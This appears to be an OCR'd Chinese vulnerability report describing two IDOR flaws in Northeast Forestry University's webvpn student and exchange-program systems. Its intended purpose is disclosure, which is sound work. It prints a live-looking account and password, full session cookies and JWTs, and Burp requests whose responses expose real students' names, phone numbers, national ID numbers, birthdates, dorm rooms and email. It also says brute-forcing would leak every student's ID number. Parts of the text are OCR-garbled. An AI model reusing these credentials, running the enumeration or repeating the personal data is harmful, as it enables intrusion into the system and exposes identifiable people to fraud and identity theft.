漏洞一:访问: https://i.webvpn.nefu.edu.cn/

账户: 2019224158 密码: wjm122800

i.webvpn.nefu.edu.cn/dcp/forward.action?path=/portal/portal&p=hom



1.进入学团系统,存在越权



数字东林 学团系统



2.点击申请抓包



3.更改list参数为: 2019224157

```
Request
                                                                                                                                            Response
Pretty Raw Hex \n ≡
                                                                                                                                            Pretty Raw Hex Render \n ≡
3 Cookie: isfyportal=1; _webvpn_key=eyJhbGci0iJIUzI1NiJ9.eyJlc2VyIjoiMjAxOTIyNDE10CIsImdyb3 _uid=106796777; uf=b2d2c93beefa90dc2c00ld603a500c11710e4f9eef16e2c4771d338dc657b3ff127301
                                                                                                                                              HTTP/1.1 200 OK
                                                                                                                                             Content-Type: application/json;charset=utf-8
Date: Tue, 08 Mar 2022 12:03:37 GMT
gmX6WnzF7CNShfq4LK6jTnUg%3D6cf4e93621Dea14fDc925773c6fb5833; xxtenc=83608f4c5c7lb46f17080
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.
                                                                                                                                             4 Connection: close
                                                                                                                                             5 Content-Length: 345
 6 Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
 7 Accept-Encoding: gzip, deflate
 8 Render: ison
                                                                                                                                                  "javaClass": "java.util.ArrayList",
 9 Clienttype: json
                                                                                                                                                  "list":[
10 Content-Type: text/plain; charset=UTF-8
11 Content-Length: 130
12 Origin: https://sis.webvpn.nefu.edu.cn
                                                                                                                                                        "map": {
                                                                                                                                                           nap":(
"RXNY":"2019",
"QSH":"第十一公寓B区631",
"LXDH":"18348631669",
"XH":"2019224157",
   Referer: https://sis.webvpn.nefu.edu.cn/dcp_sis/forward.action?path=/portal/portal&p=sist
14 Sec-Fetch-Dest: empty
15 Sec-Fetch-Mode: cors
                                                                                                                                                          "XH": "201922415)",
"$23H8: "20318320010804372X",
"2YM": "0609",
"C$RQ": "2001-08-04",
"XSH": "01010206",
"XH": "EE,",
"MZM": "01",
16 Sec-Fetch-Site: same-origin
   Te: trailers
18 Connection: close
      "map": {
         "method": "getObjList",
                                                                                                                                                           "JKZKM":"10",
"XBM":"2",
"ZZMMM":"03",
"SZNJ":"2019",
          "params": {
             "javaClass":"java.util.ArrayList",
            "list":[
"2019224157"
                                                                                                                                                            "szBH": "0609201902"
                                                                                                                                                        "javaClass": "java.util.HashMap"
```

第2页 共6页

```
Firefox
```

更改为: 2019224156

"javaClass": "java.util.HashMap"

```
Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q
Accept-Encoding: gzip, deflate
                                                                                    "javaClass": "java.util.ArrayList",
Render: json
                                                                                    "list":[
Clienttype: json
Content-Type: text/plain; charset=UTF-8
                                                                                        "map": {
Content-Length: 130
                                                                                          "RXNY": "2019",
Origin: https://sis.webvpn.nefu.edu.cn
                                                                                          "QSH":"第十一公寓B区631",
Referer: https://sis.webvpn.nefu.edu.cn/dcp_sis/forward.action?path=/por
                                                                                          "LXDH": "18749083003",
Sec-Fetch-Dest: empty
                                                                                          "XH": "2019224156",
Sec-Fetch-Mode: cors
                                                                                          "SFZJH": "411323200107035823",
Sec-Fetch-Site: same-origin
                                                                                          "ZYM": "0610",
Te: trailers
                                                                                          "YXSH": "01010206",
Connection: close
                                                                                          "CSRQ": "2001-07-03",
                                                                                          "XM":"王巧怡",
                                                                                          "MZM": "02",
  "map":{
                                                                                          "JKZKM": "10",
    "method": "getObjList",
                                                                                          "XBM": "2",
    "params":{
                                                                                          "DZXX": "1497300942@qq.com",
      "javaClass": "java.util.ArrayList",
                                                                                          "ZZMMM": "03",
      "list":[
                                                                                          "SZNJ": "2019",
       "2019224156"
                                                                                          "SZBH": "0610201903"
      1
                                                                                        "javaClass": "java.util.HashMap"
```

4.学团系统存在水平越权,泄露手机号,身份证,学号,邮箱等,通过burpsuite爆破可实现泄露全校学生身份证号

1

漏洞二:访问: https://webvpn.nefu.edu.cn/,

账户: 2019224158 密码: wjm122800

fcmit.cc



2.进入外事管理系统后,找到境外留学项目查询



Firefox https://src.sjtu.edu.cn/post/129177/ 共1世(父/天土坝

本科生,硕士研究生

查询结果									
污号	项目名称	项目编号	项目年度	项目类别	申请对象	项目起止日期	是否有效	审批状态	操作
1	德克萨斯大学奥斯汀分校 2022暑假项目-语言与文 化	21	2022	寒暑假短期项目	本科生,硕士研究生,博 士研究生	2022-08-01至2022-08-15共1 5天(短期)	有效	审批通过 「项目查え	操作▼
2	东芬兰大学 (约恩苏校 区)	11	2022	其他(交换生项 目)	本科生,硕士研究生	2022-08-01至2022-12-22共1 44天(长期)	有效	项目申证 审批证。	E IXIF

3.点击项目查看,抓包

正常访问

```
1 GET /StudentExchange 2007/ProjectDetail.do?token=
 3DBC0C38CBB236E2413E4779A9053549%20&secode=1100002007STPR20210002
 HTTP/1.1
2 Host: gjhzch.webvpn.nefu.edu.cn
3 Cookie: isfyportal=1; webvpn key=
 eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiMjAxOTIyNDE1OCIsImdyb3VwcyI6WzFdLCJpYX
 QiOjE2NDY3NDEzNzQsImV4cCI6MTY0NjgyNzc3NHO.czplCZyrb72W0RDvWFK92iq64oZII
 hyOw4hwcU79ees; webvpn username=
 2019224158%7C1646741374%7Cbd0de57d52c07c93caea897a64b618428430dde8;
 fanyamoocs=4CEE6CF11D7396A838B2E9C12A94008E; dd106796777=1646738605745
 ; uname=2019224158; lv=1; fid=1032; uid=106796777; uf=
 b2d2c93beefa90dc2c001d603a500c11710e4f9eef16e2c4771d338dc657b3ff1273016
 7b0fee65f9fdb2f1b780172bb913b662843f1f4ad6d92e371d7fdf644382919c1b027ba
 d0fd68be96b6183b1a5922371ecaa84d0dbc3cd9580d9d66bf9177f8af7c6c1ff2; d=
 1646738604211; UID=106796777; vc=F6EC7A9DA95BF85F525A436715A2C4F4; vc2=
 46B3AD029780F39812709ECD22A63676; vc3=
 b5ZAmayb13SpfALhH88tR7NY2xWVn1R%2BxPE74QLtdLFbNphw260muz1f02dItj2cUpenD
 G941j%2FiPc20AIZhDhBxEK6jvQ7YlgiURIwE%2Fec2%2F4A0rqdH8IS69nnwSY0x6n8AKj
 7z%2FXPhhL9CB%2BTgmX6WNzF7CNShfq4LK6jTnUg%3D6cf4e936210ea14f0c925773c6f
 b5833; xxtenc=83608f4c5c71b46f1708070968ffe73f; DSSTASH LOG=
 C 43-UN 985-US 106796777-T 1646738604212; ASP.NET SessionId=
 z45d2t0eihuoml3pol0cfunq; BIGipServergjhzch pool=509348362.20480.0000;
  . ASPXAUTH=
 3A25824F2C64EFFA06EB843585B1FFB2F343C26EC6A7648967AED624B3892D9AC23B1BD
 72E00A204B1D783310D9D04D7C53BAA37EB488678AF4F7B312B89DF4F54F7B10224B7F9
 4235F6BC30CE3C5071B82D3054310C1BCAF6E57E830E2640412D50BAFAC95555722B52E
 9F779F55E4FAC04C8496C9C18E643D8EE46F7F8A99C36F7F5C7B3C891BB09A20D0422E9
 OAAF; SUserCode=20222007STU0002; SUserRole=1007;
```

□ 项目信息 (系统编号: 1100002007STPR20210002)

项目名称	德克萨斯大学奥斯汀分校2022暑假项目-语言与文 化	项目编号	21
项目年度	2022	项目级别	校级
经费类别	自费	交流项目类型	寒暑假短期项目
项目形式 (根据国际疫情形势) 学习方式可能			

efox			https://	src. sjtu. edu. cn/post/1291
	有所改变。)	线上	项目开始日期	2022年08月01日
	项目结束日期	2022年08月15日	项目负责老师	石晓飞
	院校名称/受理单位	德克萨斯大学奥斯汀分校	院校名称/受理单位英文名	Austin University of Texas
	国家/地区	美国	推荐名额	20
	费用	0.00	是否支持申请资助	否
	是否能转学分	否	是否有效	有效
	其他说明	合格完成项目的学生,获得UT颁发的正式结业证书和成绩单	申请单位	
	项目负责部门	国际合作处 (港澳台办公室)	申报开始结束时间	2021-12-01 00:00至2022-01-03 00:00

更改项目secode:1100002007STPR20210004

```
rietty Raw nex (II =
GET /StudentExchange 2007/ProjectDetail.do?token=
 73FC9DCC5BDA0FF7240059EFE2040B37%20&secode=1100002007STPR20210004
 HTTP/1.1
Host: gjhzch.webvpn.nefu.edu.cn
3 Cookie: isfyportal=1; webvpn key=
 eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiMjAxOTIyNDE1OCIsImdyb3VwcyI6WzFdLCJpYX
 QiOjE2NDY3NDEzNzQsImV4cCI6MTY0NjgyNzc3NH0.czplCZyrb72W0RDvWFK92iq64oZII
 hyOw4hwcU79ees; webvpn username=
 2019224158%7C1646741374%7Cbd0de57d52c07c93caea897a64b618428430dde8;
 fanyamoocs=4CEE6CF11D7396A838B2E9C12A94008E; dd106796777=1646738605745
 ; uname=2019224158; lv=1; fid=1032; uid=106796777; uf=
 b2d2c93beefa90dc2c001d603a500c11710e4f9eef16e2c4771d338dc657b3ff1273016
 7b0fee65f9fdb2f1b780172bb913b662843f1f4ad6d92e371d7fdf644382919c1b027ba
 d0fd68be96b6183b1a5922371ecaa84d0dbc3cd9580d9d66bf9177f8af7c6c1ff2; d=
 1646738604211; UID=106796777; vc=F6EC7A9DA95BF85F525A436715A2C4F4; vc2=
 46B3AD029780F39812709ECD22A63676; vc3=
 b5ZAmayb13SpfALhH88tR7NY2xWVn1R%2BxPE74QLtdLFbNphw260muz1f02dItj2cUpenD
 G941j%2FiPc2OAIZhDhBxEK6jvQ7YlgiURIwE%2Fec2%2F4A0rqdH8IS69nnwSY0x6n8AKj
 7z%2FXPhhL9CB%2BTgmX6WNzF7CNShfq4LK6jTnUg%3D6cf4e936210ea14f0c925773c6f
 b5833; xxtenc=83608f4c5c71b46f1708070968ffe73f; DSSTASH LOG=
 C 43-UN 985-US 106796777-T 1646738604212; ASP.NET SessionId=
 z45d2t0eihuoml3pol0cfung; BIGipServergjhzch pool=509348362.20480.0000;
 . ASPXAUTH=
 3A25824F2C64EFFA06EB843585B1FFB2F343C26EC6A7648967AED624B3892D9AC23B1BD
 72E00A204B1D783310D9D04D7C53BAA37EB488678AF4F7B312B89DF4F54F7B10224B7F9
 4235F6BC30CE3C5071B82D3054310C1BCAF6E57E830E2640412D50BAFAC95555722B52E
 9F779F55E4FAC04C8496C9C18E643D8EE46F7F8A99C36F7F5C7B3C891BB09A20D0422E9
 OAAF; SUserCode=20222007STU0002; SUserRole=1007;
 StudentExchangeNewProjectList2015=
```

间 场日信息 (玄统编号·	1100002007STPR20210004)

项目名称	汉语教师志愿者	项目编号	32
项目年度	2022	项目级别	校级
经费类别	公费	交流项目类型	国家公派
项目形式 (根据国际形势,参加学习方式可能 有所变动)	线下	项目开始日期	2022年07月01日

第5页 共6页 2022/4/7 14:56

项目结束日期	2023年07月01日	项目负责老师	石晓飞
院校名称/受理单位	国家汉办	院校名称/受理单位英文名	Hanban
国家/地区	丹麦	推荐名额	1
费用	0.00	是否支持申请资助	是
是否能转学分	否	是否有效	有效
其他说明		申请单位	
项目负责部门	国际合作处 (港澳台办公室)	申报开始结束时间	2022-09-01 00:00至2022-09-20 00:00
申请对象	硕士研究生	申请年级	一年、二年

实现越权查看。

fcmit.cc